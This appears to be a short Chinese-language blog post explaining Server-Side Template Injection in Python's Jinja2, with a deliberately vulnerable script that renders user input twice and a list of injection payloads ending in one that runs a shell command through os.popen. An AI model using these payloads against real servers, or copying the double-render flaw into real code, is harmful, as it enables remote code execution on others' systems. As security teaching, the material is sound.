guest@blog.cmj.tw: ~/posts $

Server-Side Template Injection (SSTI)


在某些情境下,API server 會利用 template engine 來渲染相關頁面,在 script language 中如果沒有正確設定, 就會有 SSTI 的相關問題:

  • 渲染引擎重複渲染
  • 沒有過濾使用者輸入的內容

已 Python / Jinja2 為例,預設渲染 {{ }} 內的內容,如果再渲染前將使用者的輸入值放入,則有機會渲染不預期的內容。 簡單的測試範例為:

#! /usr/bin/env python
from jinja2 import Template
from jinja2.exceptions import TemplateSyntaxError, UndefinedError


if __name__ == '__main__':
    while True:
        try:
            args = input('> ')
            tmpl = Template('<p>{{ args }}</p>')
            html = tmpl.render(args=args)
            # the problematic behavior
            html = Template(html).render()
            print(html)
        except (TemplateSyntaxError, UndefinedError) as err:
            print('error: {}'.format(err))

透過執行,輸入簡單的運算式 {{ 7 * 7 }} 就會發現得到結果為 49

Payload

  1. 簡單的測試 {{ 7 * 7 }}
  2. 顯示 flask 的 global 變數 {{ g }}、顯示當下的 request 變數 {{ request }}
  3. 透過變數顯示所有可用 class {{ 1.__class__.mro()[1].__subclasses__() }}
    1. 迭代所有 class {% for x in 1.__class__.mro()[1].__subclasses__() %}{{ x }} {% endfor %}
    2. 選擇特定 class {% for x in 1.__class__.mro()[1].__subclasses__() if x.__name__ == 'type' %}{{ x }} {% endfor %}
  4. 找特定的 type 來做 RCE
    1. 使用 self 執行 {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}